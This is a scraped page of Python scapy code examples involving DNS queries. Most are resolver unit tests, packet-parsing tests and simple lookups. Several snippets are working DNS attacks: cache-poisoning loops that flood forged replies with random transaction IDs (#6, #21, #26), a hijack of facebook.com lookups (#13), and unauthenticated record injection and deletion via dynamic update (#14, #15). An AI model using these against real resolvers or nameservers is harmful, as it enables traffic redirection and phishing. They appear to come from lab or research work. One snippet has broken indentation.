예제 #1
0
파일: 01-run.py 프로젝트: samken600/3YP
def test_addrlen_too_large(child):
    server.listen(DNS(qr=1, qdcount=TEST_QDCOUNT, ancount=TEST_ANCOUNT,
                      qd=(DNSQR(qname=TEST_NAME, qtype=DNS_RR_TYPE_AAAA) /
                          DNSQR(qname=TEST_NAME, qtype=DNS_RR_TYPE_A)),
                      an=(DNSRR(rrname=TEST_NAME, type=DNS_RR_TYPE_AAAA,
                                rdlen=18549, rdata=TEST_AAAA_DATA) /
                          DNSRR(rrname=TEST_NAME, type=DNS_RR_TYPE_A,
                                rdlen=DNS_RR_TYPE_A_DLEN, rdata=TEST_A_DATA))))
    assert(not successful_dns_request(child, TEST_NAME, TEST_AAAA_DATA))
예제 #2
0
def test_bad_compressed_message_answer(child):
    server.listen(
        DNS(qr=1,
            qdcount=TEST_QDCOUNT,
            ancount=TEST_ANCOUNT,
            qd=(DNSQR(qname=TEST_NAME, qtype=DNS_RR_TYPE_AAAA) /
                DNSQR(qname=TEST_NAME, qtype=DNS_RR_TYPE_A)),
            an=DNS_MSG_COMP_MASK))
    assert (not successful_dns_request(child, TEST_NAME))
예제 #3
0
def test_ancount_too_large2(child):
    server.listen(
        DNS(qr=1,
            qdcount=TEST_QDCOUNT,
            ancount=19888,
            qd=(DNSQR(qname=TEST_NAME, qtype=DNS_RR_TYPE_AAAA) /
                DNSQR(qname=TEST_NAME, qtype=DNS_RR_TYPE_A)),
            an="\0"))
    assert (not successful_dns_request(child, TEST_NAME))
예제 #4
0
파일: 01-run.py 프로젝트: dylad/RIOT
 def test_doc_success(self):
     self._set_resp(
         2,
         1,
         DNS(
             qr=1,
             qd=[DNSQR(qname="example.org", qtype="AAAA")],
             ancount=1,  # ancount needs to be set since `an` is already encoded
             an=(
                 # already encoding
                 # [DNSRR(ttl=300, type="AAAA", rdata="2001:db8::1")]
                 # to make older scapy version on Murdock happy
                 b"\x00\x00\x1c\x00\x01\x00\x00\x01,\x00\x10 \x01\r\xb8\x00\x00"
                 b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01"
             ),
         ),
     )
     self.spawn.sendline("uri coap://[::1]")
     self.spawn.expect_exact("Successfully added URI coap://[::1]")
     self.spawn.sendline("query example.org")
     self.spawn.expect_exact(
         "Hostname example.org resolves to 2001:db8::1 (IPv6)"
     )
     self.spawn.sendline("query example.org inet6")
     self.spawn.expect_exact(
         "Hostname example.org resolves to 2001:db8::1 (IPv6)"
     )
     self.spawn.sendline("query example.org inet")
     self.spawn.expect_exact("Bad message")
     self._set_resp(
         2,
         1,
         DNS(
             qr=1,
             qd=[DNSQR(qname="example.org", qtype="A")],
             ancount=1,  # ancount needs to be set since `an` is already encoded
             an=(
                 # already encoding
                 # [DNSRR(ttl=300, type="A", rdata="192.0.0.1")]
                 # to make older scapy version on Murdock happy
                 b"\x00\x00\x01\x00\x01\x00\x00\x01,\x00\x04\xc0\x00\x00\x01"
             ),
         ),
     )
     self.spawn.sendline("query example.org inet")
     self.spawn.expect_exact(
         "Hostname example.org resolves to 192.0.0.1 (IPv4)"
     )
     if self.has_dns_cache():
         self.spawn.sendline("query example.org inet6")
         self.spawn.expect_exact(
             "Hostname example.org resolves to 2001:db8::1 (IPv6)"
         )
     else:
         self.spawn.sendline("query example.org inet6")
         self.spawn.expect_exact("Bad message")
예제 #5
0
파일: 01-run.py 프로젝트: samken600/3YP
def test_malformed_hostname_answer(child):
    server.listen(DNS(qr=1, qdcount=TEST_QDCOUNT, ancount=TEST_ANCOUNT,
                      qd=(DNSQR(qname=TEST_NAME, qtype=DNS_RR_TYPE_AAAA) /
                          DNSQR(qname=TEST_NAME, qtype=DNS_RR_TYPE_A)),
                      # need to use byte string here to induce wrong label
                      # lengths
                      an=(b"\xaftest\x00\x00\x1c\x00\x01\x00\x00\x00\x00\x00\x10"
                          b"\x20\x01\x0d\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                          b"\x00\x00\x01" /
                          DNSQR(qname=TEST_NAME, qtype=DNS_RR_TYPE_A))))
    assert(not successful_dns_request(child, TEST_NAME))
예제 #6
0
def loud(args):
    poisoned = False

    # first packet sent to the victim NS to start the recursive domain to ip resolution
    reqPkt = IP(dst=args.victim) / UDP(sport=53) / DNS(qr=0,
                                                       qd=DNSQR(qname=""))
    # authoritative record
    realNSRR = DNSRR(rrname=args.targetDomain,
                     type='NS',
                     rdata=args.soaDomain[0],
                     ttl=args.ttl)
    # fake additional record (glue)
    fakeARR = DNSRR(rrname=args.soaDomain[0],
                    type='A',
                    rdata=args.addressToForge,
                    ttl=args.ttl)

    amount = 5
    resPkts = list()
    for x in xrange(0, amount - 1):
        resPkts.append(
            IP(dst=args.victim) / UDP(sport=53, dport=54) /
            DNS(aa=1, qr=1, qd=DNSQR(qname=""), ns=realNSRR, ar=fakeARR))

    while not poisoned:
        # generate random subdomain, i.e. 1234www5678.example.com
        queryDomain = utils.getRandomSubdomain() + args.targetDomain

        for x in xrange(0, amount - 1):
            resPkts[x][DNS].id = utils.getRandomTXID()
            resPkts[x][DNS].qd.qname = queryDomain

        reqPkt[DNS].qd.qname = queryDomain
        send(reqPkt, verbose=False)

        for x in xrange(0, amount - 1):
            send(resPkts[x], verbose=False)

        # ask the victim for the IP of the domain we are trying to spoof
        pkt = sr1(IP(dst=args.victim) / UDP(sport=53) /
                  DNS(qr=0, qd=DNSQR(qname=args.soaDomain[0], qtype='A')),
                  verbose=False)
        if pkt[DNS].an and pkt[DNS].an.rdata:
            actualAnswer = str(pkt[DNS].an.rdata)
            # if the IP is our IP, we poisoned the victim
            if actualAnswer == args.addressToForge:
                poisoned = True

    print ccolors.OKGREEN + 'Poisoned now!\n' + ccolors.NC

    deltaTime = datetime.datetime.now() - args.startTime

    print ccolors.WARNING + 'It took: ' + str(deltaTime) + ccolors.NC
예제 #7
0
def getSoaForDomain(args):
    pkt = IP(dst="8.8.8.8") / UDP(sport=utils.getRandomPort()) / DNS(qr=0, rd=1, qd=DNSQR(qname=args.targetDomain, qtype="NS"))
    ans = sr1(pkt, verbose=False)
    args.soaDomain = list(expandLayers(ans[DNS].an, "rdata"))

    args.soaIP = list()
    for domain in args.soaDomain:
    pkt = IP(dst="8.8.8.8") / UDP(sport=utils.getRandomPort()) / DNS(qd=DNSQR(qname=domain, qtype="A"))
        ans = sr1(pkt, verbose=False)
        args.soaIP.append(ans[DNS].an.rdata)

    print args
예제 #8
0
def test_dnsqr():
    """
    Tests DNSQR.
    """
    pkt = UDP() / DNS(ancount=1) / DNSQR()
    pkt.show()
    packet = layers.packet.Packet(pkt)
    packet.show()
    assert len(packet.layers) == 3
    assert "UDP" in packet.layers
    assert "DNS" in packet.layers
    assert "DNSQR" in packet.layers
    pkt = IP() / UDP() / DNS() / DNSQR()
    packet = layers.packet.Packet(pkt)
    assert str(packet)
예제 #9
0
    def test_packet_handler(self, mocker):
        """
        Test the packet handler for a single DNS lookup. The lookup should be
        added to the list of lookups, and a packet dumpling representing the
        lookup should be returned.
        """
        test_lookup_host = 'www.apple.com'
        packet = UDP() / DNS(rd=1, qd=DNSQR(qname=test_lookup_host))

        mock_time = mocker.patch('time.time', return_value=1234567890)

        chef = DNSLookupChef()
        dumpling = chef.packet_handler(packet)

        # Check that the hostname is added to our list of lookups.
        assert len(chef.lookups_seen) == 1
        assert chef.lookups_seen[test_lookup_host] == {
            'count': 1,
            'latest': mock_time.return_value,
        }

        # Check that the packet dumpling for this lookup was sent out, with the
        # correct payload.
        assert dumpling == {
            'lookup': {
                'hostname': test_lookup_host,
                'when': mock_time.return_value,
            }
        }
예제 #10
0
def inquery(qname, qtype, nameserver, rd=1, timeout=2, retry=2):

    if not isinstance(nameserver, list):
        nameserver = [nameserver]

    s = socket.socket(type=socket.SOCK_DGRAM)
    s.settimeout(timeout)

    dnsq = DNS(id=RandShort(), rd=rd, qd=DNSQR(qname=qname, qtype=qtype))
    sendit = True
    id = 0

    for ns in nameserver:
        for r in range(0, retry + 1):
            try:
                if sendit:
                    p = str(dnsq)
                    id = unpack('!H', p[0:2])[0]
                    s.sendto(p, 0, (ns, 53))
                dnsr = DNS(s.recvfrom(4096)[0])
                if id != dnsr.id:
                    sendit = False
                    continue
                return dnsr
            except socket.timeout:
                sendit = True
                continue
            except socket.error:
                sendit = True
                continue

    return None
예제 #11
0
    def handle_socket_msg(self):
        pkt_eth = self._pkt.get_protocols(ethernet.ethernet)[0]
        pkt_ip = self._pkt.get_protocols(ipv4.ipv4)[0]
        pkt_udp = self._pkt.get_protocols(udp.udp)[0]
        pkt_dns = DNS(self._pkt[-1])
        print('----------------Sent query with ID', pkt_dns.id, pkt_dns)
        if pkt_udp.dst_port == 53 or pkt_udp.src_port == 53:
            #print 'A DNS query for controller is received'
            if pkt_dns:
                cs = self._controller.get_customers()
                d_mac = cs[0].get_next_hop_mac()
                pkt_dns.qr = 0

                new_pkt = packet.Packet()
                e = ethernet.ethernet(dst=cs[0].get_next_hop_mac(),
                                      src=pkt_eth.src)
                new_pkt.add_protocol(e)
                new_pkt.add_protocol(
                    ipv4.ipv4(src=self._controller.get_ip(),
                              dst=cs[0].get_name_server(),
                              proto=17))
                new_pkt.add_protocol(
                    udp.udp(src_port=pkt_udp.dst_port,
                            dst_port=pkt_udp.src_port))
                new_dns = DNS(rd=0,
                              id=pkt_dns.id,
                              qd=DNSQR(qname=pkt_dns.qd.qname),
                              ns=DNSRR(rrname=pkt_dns.ar.rrname,
                                       type=1,
                                       ttl=60000,
                                       rdata=cs[0].get_name_server()))
                new_pkt.add_protocol(new_dns)
                new_pkt.serialize()
                self.send_dns_packet(new_pkt, cs[0].get_datapath(),
                                     cs[0].get_ingress_port())
예제 #12
0
    def craft_and_send(pkt,
                       dns_type,
                       segment=None,
                       is_hb=False,
                       real_response=None):
        """
        Craft a spoofed dns response and send it.
        """

        spf_ip = IP(dst=pkt[IP].src)
        spf_udp = UDP(dport=pkt[UDP].sport, sport=53)
        if real_response:
            spf_resp = spf_ip / spf_udp / real_response[DNS]
        else:
            spf_dnsqr = DNSQR(qname=pkt[DNSQR].qname, qtype=dns_type)
            spf_dnsrr = DNSRR(rrname=pkt[DNSQR].qname, ttl=232, type=dns_type)
            if segment:
                spf_dnsrr.rdata = segment
            if is_hb:
                global hb_ip
                spf_dnsrr.rdata = hb_ip
            spf_dns = DNS(qr=1, id=pkt[DNS].id, qd=spf_dnsqr, an=spf_dnsrr)
            spf_resp = spf_ip / spf_udp / spf_dns
        global iface
        send(spf_resp, verbose=0, iface=iface)
예제 #13
0
 def modify(packet):
     pkt = IP(packet.get_payload())
     if pkt.qd.qname == b'facebook.com.':
         print(pkt.show())
         p = Ether(
             dst=self.MacList[0], src=self.LocalMac,
             type=2048) / IP(src=pkt[IP].dst, dst=pkt[IP].src) / UDP(
                 sport=53, dport=pkt[UDP].sport) / DNS(
                     id=pkt[DNS].id,
                     qr=1,
                     qdcount=1,
                     ancount=1,
                     nscount=0,
                     arcount=0,
                     qd=DNSQR(
                         qname=pkt[DNS].qd.qname, qtype=1, qclass=1),
                     an=DNSRR(rrname=pkt[DNS].qd.qname,
                              type=1,
                              rclass=1,
                              rdata=ip),
                     ns=None,
                     ar=None)
         sendp(p, verbose=0)
         #packet.set_payload(bytes(str(pkt), 'utf-8')) #set the packet content to our modified version
         packet.drop()  #drop the packet
     else:
         packet.accept()
예제 #14
0
def delete_dns_record(del_ns, del_record):

    os.system('clear')
    title()

    # Verifying all required options have a populated value
    if del_ns is None or del_record is None:
        print "[*] ERROR: You did not provide all the required command line options!"
        print "[*] ERROR: Please re-run with required options."
        sys.exit()
    print "[*] Crafting packet for record deletion..."

    print "[*] Sending packet which deletes the following record: "
    print "[*] " + del_record + "\n"

    dns_zone = del_record[del_record.find(".") + 1:]

    del_packet = sr1(
        IP(dst=del_ns) / UDP() / DNS(opcode=5,
                                     qd=[DNSQR(qname=dns_zone, qtype="SOA")],
                                     ns=[
                                         DNSRR(rrname=del_record,
                                               type="ALL",
                                               rclass="ANY",
                                               ttl=0,
                                               rdata="")
                                     ]))

    print del_packet[DNS].summary()

    print "\n[*] Packet created and sent!"
예제 #15
0
def add_a_record(name_server, new_dns_record, ip_value):

    os.system('clear')
    title()

    # Verifying all required options have a populated value
    if name_server is None or new_dns_record is None or ip_value is None:
        print "[*] ERROR: You did not provide all the required command line options!"
        print "[*] ERROR: Please re-run with required options."
        sys.exit()

    print "[*] Crafting packet for record injection..."
    print "[*] Sending DNS packet adding " + new_dns_record
    print "[*] and pointing it to " + ip_value + "\n"

    dns_zone = new_dns_record[new_dns_record.find(".") + 1:]

    # Craft the packet with scapy
    add_packet = sr1(
        IP(dst=name_server) / UDP() /
        DNS(opcode=5,
            qd=[DNSQR(qname=dns_zone, qtype="SOA")],
            ns=[
                DNSRR(rrname=new_dns_record, type="A", ttl=120, rdata=ip_value)
            ]))

    print add_packet[DNS].summary()

    print "\n[*] Packet created and sent!"
예제 #16
0
    def test_stripping_trailing_period(self, mocker):
        """
        Test that we strip the trailing period off of any host lookups.
        """
        test_host_with_period = 'www.apple.com.'
        test_host_without_period = 'www.apple.com'
        packet = UDP() / DNS(rd=1, qd=DNSQR(qname=test_host_with_period))

        mock_time = mocker.patch('time.time', return_value=1234567890)

        chef = DNSLookupChef()
        dumpling = chef.packet_handler(packet)

        # Check that the hostname is added to our list of lookups.
        assert len(chef.lookups_seen) == 1
        assert chef.lookups_seen[test_host_without_period] == {
            'count': 1,
            'latest': mock_time.return_value,
        }

        # Check that the packet dumpling for this lookup was sent out, with the
        # correct payload.
        assert dumpling == {
            'lookup': {
                'hostname': test_host_without_period,
                'when': mock_time.return_value,
            }
        }
예제 #17
0
파일: 01-run.py 프로젝트: samken600/3YP
def test_malformed_hostname_query(child):
    server.listen(DNS(qr=1, qdcount=TEST_QDCOUNT, ancount=0,
                      qd=(DNSQR(qname=TEST_NAME, qtype=DNS_RR_TYPE_AAAA) /
                          # need to use byte string here to induce wrong label
                          # lengths
                          b"\xafexample\x03org\x00\x00\x1c\x00\x01")))
    assert(not successful_dns_request(child, TEST_NAME))
예제 #18
0
def scapy_send_dns_requests(number_of_packets):
    for _ in range(number_of_packets):
        dns_request = Ether(src=ethernet_src, dst=ethernet_dst) /\
                      IP(src=ip_src, dst=ip_dst) /\
                      UDP(dport=53, sport=randint(1024, 65535)) /\
                      DNS(id=randint(1, 1000), rd=1, qd=DNSQR(qname="www." + str(randint(1, 1000)) + ".com"))
        sendp(dns_request, verbose=False)
예제 #19
0
    def __init__(
        self,
        target: str,
        protocol: str = "icmp",
        max_ttl: int = 30,
        timeout: int = 5,
        stealth: bool = False,
    ) -> None:
        self.hops = []
        self.max_ttl = max_ttl
        self.protocol = protocol
        self.target = target
        self.time = str(datetime.now())
        self.timeout = timeout
        self.protocol = protocol
        self.stealth = stealth

        payloads = {
            "icmp": ICMP(),
            "tcp": TCP(dport=53, flags="S"),
            "udp": UDP() / DNS(qd=DNSQR(qname=self.target)),
            "http": TCP(dport=80, flags="S"),
            "tls": TCP(dport=443, flags="S"),
        }
        self.payload = payloads.get(self.protocol)
        self.run()
        return
예제 #20
0
 def test_a_lookup(self):
     question = IP(dst=self.resolverAddr) / \
                UDP() / \
                DNS(rd=1, qd=DNSQR(qtype="A", qclass="IN", qname=self.hostname))
     log.msg("Performing query to %s with %s:%s" %
             (self.hostname, self.resolverAddr, self.resolverPort))
     yield self.sr1(question)
def spoofDNS():
    dns_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    # print("Sub Domain", SUB_DOMAIN)
    Qdsec = DNSQR(qname=SUB_DOMAIN)
    Anssec = DNSRR(rrname=SUB_DOMAIN, type='A', rdata=SPROOF_ADDR, ttl=68900)
    dns = DNS(id=getRandomTXID(),
              aa=1,
              rd=0,
              qr=1,
              qdcount=1,
              ancount=1,
              nscount=2,
              arcount=0,
              qd=Qdsec,
              an=Anssec,
              ns=DNSRR(rrname=b'example.com', rdata=SPROOF_NS_1, type='NS') /
              DNSRR(rrname=b"example.com", type='NS', rdata=SPROOF_NS_2))
    response = dns

    response.getlayer(DNS).qd.qname = SUB_DOMAIN
    for _ in range(125):
        # Set random TXID from 0 to 255
        response.getlayer(DNS).id = getRandomTXID()
        sendPacket(dns_sock, response, DNS_ADDR, my_query_port)
    dns_sock.close()
예제 #22
0
def test_from_datasources():
    packets_1 = [
        Ether(src="ab:ab:ab:ab:ab:ab", dst="12:12:12:12:12:12") /
        IP(src="127.0.0.1", dst="192.168.1.1") / TCP(sport=12345, dport=80) /
        HTTP() /
        HTTPRequest(Method="GET", Path="/foo", Host="https://google.com")
    ]

    packets_2 = [
        # HTTP Packet
        Ether(src="ab:ab:ab:ab:ab:ab", dst="12:12:12:12:12:12") /
        IP(src="127.0.0.1", dst="192.168.1.1") / TCP(sport=12345, dport=80) /
        HTTP() /
        HTTPRequest(Method="GET", Path="/foo", Host="https://google.com"),
        # DNS Packet
        Ether(src="ab:ab:ab:ab:ab:ab", dst="12:12:12:12:12:12") /
        IP(src="127.0.0.1", dst="192.168.1.1") / UDP(sport=80, dport=53) /
        DNS(rd=1,
            qd=DNSQR(qtype="A", qname="google.com"),
            an=DNSRR(rdata="123.0.0.1")),
        # TCP Packet
        Ether(src="ab:ab:ab:ab:ab:ab", dst="12:12:12:12:12:12") /
        IP(src="127.0.0.1", dst="192.168.1.1") / TCP(sport=80, dport=5355),
    ]

    nx = NetworkX.from_datasources([
        packets_to_datasource_events(packets)
        for packets in [packets_1, packets_2]
    ])

    # Make the graph
    nx.graph()

    assert not nx.is_empty()
예제 #23
0
def test_dns():
    """
    Tests DNS layer.
    """
    dns = layers.dns_layer.DNSLayer(DNS())
    print(dns.gen("id"))
    assert dns.gen("id")

    p = layers.packet.Packet(DNS(id=0xabcd))
    p2 = layers.packet.Packet(DNS(bytes(p)))
    assert p.get("DNS", "id") == 0xabcd
    assert p2.get("DNS", "id") == 0xabcd

    p2.set("DNS", "id", 0x4321)
    assert p.get("DNS", "id") == 0xabcd  # Check p is unchanged
    assert p2.get("DNS", "id") == 0x4321

    dns = layers.packet.Packet(DNS(aa=1))
    assert dns.get("DNS", "aa") == 1
    aa = dns.gen("DNS", "aa")
    assert aa == 0 or aa == 1
    assert dns.get("DNS", "aa") == 1  # Original value unchanged

    dns = layers.packet.Packet(DNS(opcode=15))
    assert dns.get("DNS", "opcode") == 15
    opcode = dns.gen("DNS", "opcode")
    assert opcode >= 0 and opcode <= 15
    assert dns.get("DNS", "opcode") == 15  # Original value unchanged

    dns.set("DNS", "opcode", 3)
    assert dns.get("DNS", "opcode") == 3

    dns = layers.packet.Packet(DNS(qr=0))
    assert dns.get("DNS", "qr") == 0
    qr = dns.gen("DNS", "qr")
    assert qr == 0 or qr == 1
    assert dns.get("DNS", "qr") == 0  # Original value unchanged

    dns.set("DNS", "qr", 1)
    assert dns.get("DNS", "qr") == 1

    dns = layers.packet.Packet(DNS(arcount=0xAABB))
    assert dns.get("DNS", "arcount") == 0xAABB
    arcount = dns.gen("DNS", "arcount")
    assert arcount >= 0 and arcount <= 0xffff
    assert dns.get("DNS", "arcount") == 0xAABB  # Original value unchanged

    dns.set("DNS", "arcount", 65432)
    assert dns.get("DNS", "arcount") == 65432

    dns = layers.dns_layer.DNSLayer(DNS() / DNSQR(qname="example.com"))
    assert isinstance(dns.get_next_layer(), DNSQR)
    print(dns.gen("id"))
    assert dns.gen("id")

    p = layers.packet.Packet(DNS(id=0xabcd))
    p2 = layers.packet.Packet(DNS(bytes(p)))
    assert p.get("DNS", "id") == 0xabcd
    assert p2.get("DNS", "id") == 0xabcd
예제 #24
0
    def run(self, dns_server, hosts, dport=53):

        # Send SYN with random Src Port for each Dst port
        for host in hosts:
            packet = IP(dst=dns_server) / UDP(dport=dport) / DNS(
                rd=1, qd=DNSQR(qname=host))
            answer = self.send_receive(packet, timeout=2, verbose=0)
            print(answer[DNS].summary())
예제 #25
0
def resolve_dns_rec(orig_rec, rec, name, resolver_names, part_num, req_id):
    ns = get_resolver_ips(resolver_names)[0]
    if part_num == 0:
        dns_req = IP(dst=ns) / UDP(dport=53) / DNS(
            qd=DNSQR(qname=name + '.', qtype='A'))
        dns_res = sr1(dns_req, verbose=0)['DNS']

        # case: A record lookup of a domain name e.g. cnn.com;
        # look up its authoritativ nameservers in order to get A record of cnn.com
        if dns_res.an is None:
            dns_req = IP(dst=ns) / UDP(dport=53) / DNS(
                qd=DNSQR(qname=name + '.', qtype='NS'))
            dns_res = sr1(dns_req, verbose=0)['DNS']

            ns_servers = []
            for rr_idx in range(dns_res.nscount):
                ns_servers.append(str(dns_res.ns[rr_idx].rdata, 'UTF-8'))
            return resolve_dns_rec(orig_rec, rec, name, ns_servers, 0, req_id)

        if dns_res.an.type == 5:
            cname = str(dns_res.an.rdata, 'UTF-8').split('.')
            cname.pop(
            )  # remove '' from array bcs e.g. www.example.com. split on "."
            return resolve_dns_rec(orig_rec, cname, cname[len(cname) - 1],
                                   root_servers,
                                   len(cname) - 1, req_id)
        else:
            return construct_response(orig_rec, dns_res, req_id)
    else:
        try:
            dns_req = IP(dst=ns) / UDP(dport=53) / DNS(
                qd=DNSQR(qname=name + '.', qtype='NS'))
            dns_res = sr1(dns_req, verbose=0)['DNS']

            ns_servers = []
            for rr_idx in range(dns_res.nscount):
                ns_servers.append(str(dns_res.ns[rr_idx].rdata, 'UTF-8'))

            return resolve_dns_rec(orig_rec, rec,
                                   rec[part_num - 1] + '.' + name, ns_servers,
                                   part_num - 1, req_id)
        # exception - cut-off is somewhere farther down the name
        except AttributeError as ex:
            return resolve_dns_rec(orig_rec, rec,
                                   rec[part_num - 1] + '.' + name,
                                   resolver_names, part_num - 1, req_id)
예제 #26
0
def exampleSendDNSQuery():
	sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
	dnsPacket = DNS(rd=1, qd=DNSQR(qname='example.com'))
	sendPacket(sock, dnsPacket, my_ip, my_port)
	response = sock.recv(4096)
	response = DNS(response)
	print "\n***** Packet Received from Remote Server *****"
	print response.show()
	print "***** End of Remote Server Packet *****\n"

	#build fake site for fake DNS and response
	
	hack = True
	
	while hack:
		fakeSite = getRandomSubDomain() + ".example.com"	
		dnsPacket.qd.qname = fakeSite
	
		response.qd.qname = fakeSite
		response.aa = 1
		response.an.rrname = fakeSite
		response.an.rdata = "1.2.3.4"
		#if response.nscount != 2: 
		#	if response.nscount > 2:			
		#		for j in  range(2,response.nscount):
		#			response.ns[j].rdata = None	
		#	response.nscount = 2
		response.ns[0].rdata = "ns1.dnslabattacker.net"
		response.ns[1].rdata = "ns2.dnslabattacker.net"
		response.ar = None
		response.arcount = 0
		
		sendPacket(sock, dnsPacket, my_ip, my_port)

		for i in range(100):
			response.id = getRandomTXID()
			sendPacket(sock, response, my_ip, my_query_port)
		
		
		testPacket = DNS(rd=1, qd=DNSQR(qname='example.com'))
		sendPacket(sock, testPacket, my_ip, my_port)
		testResp = sock.recv(4096)
		testResp = DNS(testResp)
		if testResp.ns[0].rdata == "ns1.dnslabattacker.net" or "ns2.dnslabattacker.net":
			hack = False
예제 #27
0
def main_raw():
    from scapy.all import IP, UDP, DNS, DNSQR
    address = ('114.114.114.114', 53)
    r = (IP(dst=address[0], src='127.0.0.1')
         /UDP(dport=address[1], sport=53)
         /DNS(rd=1,qd=DNSQR(qname="www.baidu.com")))
    s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
    c = IODatagram(s)
    yield c.write(bytes(r), address)
예제 #28
0
파일: dns.py 프로젝트: kaanant/tyyp
 def _dns_request(q_name, dns_server):
     result = sr1(IP(dst=dns_server) / UDP(dport=53) /
                  DNS(rd=1, qd=DNSQR(qname=q_name)),
                  verbose=0,
                  timeout=10)
     if result:
         return result[DNS]
     else:
         raise TimeoutError()
예제 #29
0
def dnsv6_request(nameserver, domain_name, iface):
    transaction_id = 0x3d3d

    payload = Ether(dst="cc:d5:39:dc:01:c1")
    payload /= IPv6(dst=nameserver)
    payload /= UDP(sport=47516, dport=53)
    payload /= DNS(id=transaction_id,
                   rd=1,
                   qd=DNSQR(qname=domain_name, qtype='AAAA'))
    return srp1(payload, verbose=True, iface=iface)
def getPublicIP():
    """Ask OpenDNS for our public IP address.

    args   : None
    return : str : our own public IP address"""
    dnsip = '208.67.222.222'
    sitewww = 'myip.opendns.com'
    dnsquery = IP(dst=dnsip) / UDP(dport=53) / DNS(
        rd=1, qd=DNSQR(qname=sitewww, qtype="A"))
    return sr1(dnsquery, verbose=0)['DNS'].an.rdata